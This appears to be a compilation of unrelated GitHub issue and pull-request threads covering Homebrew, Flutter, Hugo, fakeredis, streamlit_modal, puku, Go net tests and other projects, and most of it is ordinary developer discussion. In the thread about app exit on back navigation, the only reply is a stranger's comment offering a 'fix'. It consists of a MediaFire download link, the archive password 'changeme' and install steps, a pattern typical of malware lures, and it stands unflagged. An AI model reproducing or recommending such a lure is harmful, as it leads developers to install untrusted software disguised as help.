HOMEBREW_PREFIX is a Pathname; HOMEBREW_DEFAULT_PREFIX and HOMEBREW_MACOS_ARM_DEFAULT_PREFIX are strings.
Before
/u/l/Homebrew (master|✔) $ brew irb
==> Interactive Homebrew Shell
Example commands available with: `brew irb --examples`
irb(main):001:0> HOMEBREW_PREFIX
=> #<Pathname:/usr/local>
irb(main):002:0> HOMEBREW_DEFAULT_PREFIX
=> "/usr/local"
irb(main):003:0> HOMEBREW_PREFIX == HOMEBREW_DEFAULT_PREFIX
=> false
irb(main):004:0> HOMEBREW_PREFIX.to_s == HOMEBREW_DEFAULT_PREFIX
=> true

This became obvious to me after https://github.com/Homebrew/brew/pull/14480 got merged in and HOMEBREW_INSTALL_FROM_API stopped working for me. It was because the ISSUES_URL variable wasn't getting set and that is used in OS.unsupported_configuration?.
  sig { returns(T::Boolean) }
  def self.unsupported_configuration?
    !defined?(OS::ISSUES_URL)
  end

Review period will end on 2023-02-06 at 04:14:25 UTC.

Review period skipped due to critical label.

Whoops, good catch, thanks @apainintheneck!


ERROR render of "term" failed:

I am not really sure about what happened here. It says "ERROR render of "term" failed:" since I change my markdown's content file to "index.md". But, previously, I named two of them the same as its folder name, "chafa.md" and "netcat.md".

Here is when hugo with kayal works normally:

So, I changed the markdown's file name to "index.md" as I think it will resolve another problem which is: "the site assets didn't show even though the site itself works perfectly":

Need more info, OS, Browser, Kayal Version and Hugo version. Please follow the issue template


Use num on plural

Replace this paragraph with a description of what this PR is changing or adding, and why. Consider including before/after screenshots.
Using num for plural argument type.
List which issues are fixed by this PR. You must list at least one issue.

#93227

If you had to change anything in the flutter/tests repo, include a link to the migration guide as per the breaking change policy.
Pre-launch Checklist

[ ] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] I read the Tree Hygiene wiki page, which explains my responsibilities.
[x] I read and followed the Flutter Style Guide, including Features we expect every widget to implement.
[x] I signed the CLA.
[x] I listed at least one issue that this PR fixes in the description above.
[x] I updated/added relevant documentation (doc comments with ///).
[ ] I added new tests to check the change I am making, or this PR is test-exempt.
[ ] All existing and new tests are passing.

If you need help, consider asking for advice on the #hackers-new channel on Discord.

Gold has detected about 8 new digest(s) on patchset 1.
View them at https://flutter-gold.skia.org/cl/github/93228

Gold has detected about 2 new digest(s) on patchset 1.
View them at https://flutter-gold.skia.org/cl/github/93228

I commented a question on the source issue: https://github.com/flutter/flutter/issues/93227


[Change Request] codeunit 64 "Sales-Get Shipment" - CalcUpdatePrepmtAmtToDeductRounding

Hello, can you please change the lokal procedure CalcUpdatePrepmtAmtToDeductRounding to a global procedure?
    procedure CalcUpdatePrepmtAmtToDeductRounding(SalesShptLine: Record "Sales Shipment Line"; SalesLine: Record "Sales Line"; var RoundingAmount: Decimal)
    var
        SalesOrderLine: Record "Sales Line";
        Fraction: Decimal;
        FractionAmount: Decimal;
        IsHandled: Boolean;
    begin
        IsHandled := false;
        OnBeforeCalcUpdatePrepmtAmtToDeductRounding(SalesShptLine, SalesLine, RoundingAmount, IsHandled);
        if IsHandled then
            exit;

        if (SalesLine."Prepayment %" > 0) and (SalesLine."Prepayment %" < 100) and
           (SalesLine."Document Type" = SalesLine."Document Type"::Invoice)
        then begin
            SalesOrderLine.Get(SalesOrderLine."Document Type"::Order, SalesShptLine."Order No.", SalesShptLine."Order Line No.");
            if (SalesOrderLine.Quantity - SalesOrderLine."Quantity Invoiced") <> 0 then begin
                Fraction := (SalesShptLine.Quantity - SalesShptLine."Quantity Invoiced") / (SalesOrderLine.Quantity - SalesOrderLine."Quantity Invoiced");
                FractionAmount := Fraction * (SalesOrderLine."Prepmt. Amt. Inv." - SalesOrderLine."Prepmt Amt Deducted");
                RoundingAmount += SalesLine."Prepmt Amt to Deduct" - FractionAmount;
            end else
                RoundingAmount := 0;
        end;
    end;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.
Build ID: 13402.


Http://att.net problems

Lifecycle (2).pdf

Please tell us about your:
Environment

sonarwhal version:
Node.js version:
npm version:

sonarwhal configuration

sonarwhal’s configuration

URL for which sonarwhal failed

URL:

Output
Please include the raw output generated by sonarwhal, or if possible,
the raw output from running sonarwhal in debug mode: sonarwhal --debug <URL>.

sonarwhal’s raw output

Did a quick test and I'm getting results with the online version: https://sonarwhal.com/scanner/c6b8da39-7a8f-4836-a627-da99d4ed1fa1
If there's something wrong please fill the template on your first comment with the requested information and let us know so we can reopen and investigate.
Thanks!

Always have issue with them

@Survivedabuse73 unless you fill the initial template with information about the version you are using, configuration, etc. there's not a lot we can do to help you


Inconsistency between redis and fakeredis on exists method

Redis.new.exists('nonexisting_key') on production will return 0 while Fakeredis will return nil

Looking at the last tag for the redis-db ruby client:
https://github.com/redis/redis-rb/blob/5dd7df9310b1bac97b4ae0385faf7ba6c0fee1d2/lib/redis.rb#L608-L614
Looks like the redis client expects 0 for "does not exist" and greater than zero for "does exist".  I can't find docs on what the driver should look like.
And it looks like this issue was resolved by a commit back in August: https://github.com/guilleiguaran/fakeredis/pull/247
we just haven't had a release of fakeredis in over a year

and here are the docs: https://redis.io/commands/exists

+1

+1

+1

+1

Fixed in #247


use my own videos

Can you tell me how to use my own videos and do text summarization generation?

Hi @fangxiaohei, this code does not contain the captioning part, so can not do text summarization generation. If you want to do generation, you need to add a decoder after the video encoder. Good Luck.


Specify tox version to fix ansible package tests

Merge Checklist

All boxes should be checked before merging the PR (just tick any boxes which don't apply to this PR)

[ ] The toolchain has been rebuilt successfully (or no changes were made to it)
[ ] The toolchain/worker package manifests are up-to-date
[ ] Any updated packages successfully build (or no packages were changed)
[ ] Packages depending on static components modified in this PR (Golang, *-static subpackages, etc.) have had their Release tag incremented.
[ ] Package tests (%check section) have been verified with RUN_CHECK=y for existing SPEC files, or added to new SPEC files
[ ] All package sources are available
[ ] cgmanifest files are up-to-date and sorted (./cgmanifest.json, ./toolkit/scripts/toolchain/cgmanifest.json, .github/workflows/cgmanifest.json)
[ ] LICENSE-MAP files are up-to-date (./SPECS/LICENSES-AND-NOTICES/data/licenses.json, ./SPECS/LICENSES-AND-NOTICES/LICENSES-MAP.md, ./SPECS/LICENSES-AND-NOTICES/LICENSE-EXCEPTIONS.PHOTON)
[ ] All source files have up-to-date hashes in the *.signatures.json files
[ ] sudo make go-tidy-all and sudo make go-test-coverage pass
[ ] Documentation has been updated to match any changes to the build system
[ ] Ready to merge

Summary

What does the PR accomplish, why was it needed?
Fixed package tests for ansible by selecting latest version of tox prior to 4.0.0. pip always pulls the latest version by default, specifying a version resolves the test issue.
Change Log

Specify tox 3.27.1 or better but less then 4.0.0 in the ansible.spec file
Does this affect the toolchain?

NO
Test Methodology

AMD Buddy Build Pipeline build id: 291867
ARM Buddy Build Pipeline build id: 291810

Targeted 1.0 instead of 1.0-dev on accident. Updated merge target accordingly.

Both AMD64 and ARM64 Buddy builds contains successful runs with check for updated ansible.spec.


Close button is at the bottom

The close button is at the bottom of the modal instead of the upper right corner.

I installed it from pip and tried using the latest main branch. Both open the X button at the bottom. Tested in Chrome and Safari.
from streamlit_modal import Modal

import streamlit.components.v1 as components

modal = Modal(
    "Demo Modal",
    key="demo-modal",
    # Optional
    padding=20,  # default value
    max_width=744,  # default value
)
open_modal = st.button("Open")
if open_modal:
    modal.open()

if modal.is_open():
    with modal.container():
        st.write("Text goes here")

        html_string = """

HTML string in RED

        """
        components.html(html_string)

        st.write("Some fancy text")
        value = st.checkbox("Check me")
        st.write(f"Checkbox checked: {value}")

agree this is not ideal - anyone has fixed this?

Hi @koenvo  @koenvossen Could you please review and help make this into a release? 🙏

Great work!
Fixed in https://github.com/teamtv/streamlit_modal/pull/18


Prevent retz-client from directly accessing Mesos over network

In some network environment, Mesos may be invisible from clients.

Add listing sandbox and getting arbitrary file in sandbox via get-job subcommand instead
tail-ish tool to follow stdout

https://github.com/retz/retz/commit/c9c25c9dfe8ed95d9e061a4fafc85d37504b9ffb


Package not competable with laravel 5.2

Hi,
I installed this on laravel 5.2. Now when I login to admin panel after few clicks a popup shows me an Ajax datatble error. and also I logging out in few minutes weather I am work9ng or not.
User module is showing error while creating a new user but employee module is working fine. Issue is in user controller. Client module is not available yet.
This package is good but no rbac/entrust are there if they are also added it would be great.

Dear @sunarc-rahul ,
Please send your laravel log as well as network response for data-table request.
This package is built on Laravel 5.2 only. So there is no any compatibility issues with 5.2.
Regards,

My project is also working on laravel 5.2. I have this on my local server I will update about all these issues after deploying on live server.

Clear Your Browser Cookie And Check OR move all public data into root folder and run directly instead of artisan serve this resolved my issue.


Update User Service getUserById endpoint to not return secrets

The problem
Currently, auth service is using user service getUserById (and perhaps more endpoints) to verify if a user is valid, password matching, and etc. However, this is not a good practice. The issue is that we actually call getUserById a lot of time and we are not using password, passwordResetToken, etc.
{
  "id": "Your Id",
  "name": "Your Name",
  "email"<EMAIL_ADDRESS>  "role": "USER",
  "image": "http://your-image.png",
  "bio": "Your Bio",
  "gender": "MALE",
  "createdOn": "2023-10-17T15:30:30.751Z",
  "updatedOn": "2023-10-27T09:31:02.105Z",
  "isVerified": true,
  "password": "Your Password..."
  "verificationToken": "",
  "passwordResetToken": null,
  "preferences": {
    "languages": [
      "C++"
    ],
    "topics": [
      "DYNAMIC PROGRAMMING"
    ],
    "difficulties": [
      "MEDIUM",
      "EASY"
    ]
  }
}

So, I plan to update getUserById to not return password, verificationToken, and passwordResetToken. I will update auth service and frontend accordingly as needed. The updated getUserById endpoint response should only return:
{
  "id": "clmlp93wz00007kbwvws8oynd",
  "name": "Your Nae",
  "email"<EMAIL_ADDRESS>  "role": "USER",
  "image": "http://your-image.png",
  "bio": "Your Bio",
  "gender": "MALE",
  "createdOn": "2023-10-17T15:30:30.751Z",
  "updatedOn": "2023-10-27T09:31:02.105Z",
  "isVerified": true,
  "preferences": {
    "languages": [
      "C++"
    ],
    "topics": [
      "DYNAMIC PROGRAMMING"
    ],
    "difficulties": [
      "MEDIUM",
      "EASY"
    ]
  }
}

That's a good idea! Thanks @tryyang2001!
However, one issue I can think of now is that the frontend/src/components/profile/ChangePassword.tsx component on the frontend actually requires the password value in the user in order to verify if the old password is correct. I guess we can solve this by calling a different endpoint just for this page, or by letting the ChangePassword endpoint in auth handle this logic instead (downside is that the user will not get immediate feedback on the frontend until the submit button is pressed)

I see, yes we should create a separate endpoint in the user service for frontend to retrieve the password. Thanks for letting me know, this is very helpful! Then for auth service backend, we can directly access the database, this can reduce the coupling to the "database level" instead of the whole "user service" level.


Pass index and count to TTreeColumnVector

Needed by #20 so that the eagerness can happen

knocked out on jim's priv branch


Static link puku?

On RHEL 8 I am getting:
# ./pleasew puku
plz-out/bin/third_party/binary/puku-1.11.1-linux_amd64: /lib64/libc.so.6: version `GLIBC_2.34' not found (required by plz-out/bin/third_party/binary/puku-1.11.1-linux_amd64)
plz-out/bin/third_party/binary/puku-1.11.1-linux_amd64: /lib64/libc.so.6: version `GLIBC_2.32' not found (required by plz-out/bin/third_party/binary/puku-1.11.1-linux_amd64)

It's not trivial to upgrade libc in various environments, would it be possible to statically link puku?

Not much luck with go get either @toastwaffle :
$ go install github.com/please-build/puku/cmd/puku
no required module provides package github.com/please-build/puku/cmd/puku; to add it:
        go get github.com/please-build/puku/cmd/puku
$ go get github.com/please-build/puku/cmd/puku@latest
go: downloading github.com/please-build/puku v1.11.1
go: github.com/please-build/puku/cmd/puku@latest: create zip: version/BUILD: case-insensitive file name collision: "VERSION" and "version"
version/version.go: case-insensitive file name collision: "VERSION" and "version"


App exit is not working on back navigation.

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Do not parse payload

As long as an appropriate content-type is sent, Rails will decode the
request body for us.  So by decoding it ourselves, we're doing this
twice!

You might be able to use something like this: https://github.com/alphagov/email-alert-api/blob/master/config/routes.rb#L2 to tell Rails to default to JSON requests

Might pick this up later, might not.


Parser generator (bootstrap)

Bring this story to life:
rhs        := [a-z][_a-zA-Z0-9]*   //Variable
            | ( rhs* )             //Function Application
            | λ rhs* . rhs*        //Lambda Function
            | [^ ]+                //Literal Value

binding    := [a-zA-Z0-9]+ [:] [=] rhs \n

program    := binding*

example recursive descent parser:

top to bottom (previous rule candidates have higher precedence over following rule candidates)
terminal to non-terminal (terminal symbols have higher precedence over non-terminal symbols within same rule)
left to right (left symbols have higher precedence over right symbols within same rule)
this parser generator is for up-to free grammars and requires infinite lookahead in worst case

nibble-lhs := λ"a" a. a
nibble-rhs := λa "a". a
nibble-nonterminal := λ(nibble-lhs a) b. a b
nibble-empty := λ. "a"
nibble-tokens := λ(ident n) (eq _) (rhs r). (Assign n r)

Initial parser compiler will be implemented in Rust. These rule forms may be relaxed later to accomplish more natural implementation of higher-order grammars. However, for now the emphasis is on simple efficient implementation of context-free grammars.
#rule-name-x binding-y := (Regex pattern)
#rule-name-x binding-y := (Scan left-rule middle-rule right-rule)
#rule-name-x binding-y := (Sequence rules...)
#rule-name-x binding-y := (Descend rule-name-z)


V2 spinner

This migrates the spinner to the v2 component model. JS-wise, it's a simple component that only needs a single property: "active".
It also massively simplifies the markup, in line with Polymer's implementation (with extra simplification): https://github.com/PolymerElements/paper-spinner
@Garbee @surma PTAL!

LGTM

LGTM

Thanks! Merging.


net: silent test failures

The net test has been failing silently every few dozen commits on the darwin-* and dragonfly-amd64 builders:
2016-04-03T06:22:07-7c15b2a/dragonfly-amd64
2016-04-03T06:22:07-7c15b2a/darwin-386-10_10
[2016-04-02T02:08:59-6a0bb87/dragonfly-amd64](https://build.golang.org/log/f6860
622974eaf79d09f452a597a1bdfeed9894c)
2016-04-01T22:23:13-59fc42b/dragonfly-amd64
2016-03-31T23:18:24-ec5083e/dragonfly-amd64
[2016-03-31T20:42:02-f5bd355/darwin-amd64-10_10](https://build.golang.org/log/08
fcfca2e6b1380ce88ae03d9f87fa8578e2fb34)
[2016-03-31T06:12:36-a6557a0/dragonfly-amd64](https://build.golang.org/log/0d276
43415c8513a2391f699cb164b285e96e9d1)
[2016-03-30T22:31:07-3efefd9/darwin-amd64-10_10](https://build.golang.org/log/81
f1d8b39f9e849d58dc7c411eb43a75499e0451)
[2016-03-30T22:27:13-d8f1f8d/dragonfly-amd64](https://build.golang.org/log/018ec
8ab2953bd52d9820569072d6d17ebefd3a2)
It also just failed on a trybot: https://storage.googleapis.com/go-build-log/da2905f1/darwin-amd64-10_10_ebfff129.log

#15654 is an interesting issue. It suggests that the current testing package is able to be a root cause of  silent errors mentioned above. We probably need to revisit the use of tester goroutines and defer blocks in test cases.

@mikioh, interesting indeed. Good connection!

Waiting for the fix of #15654.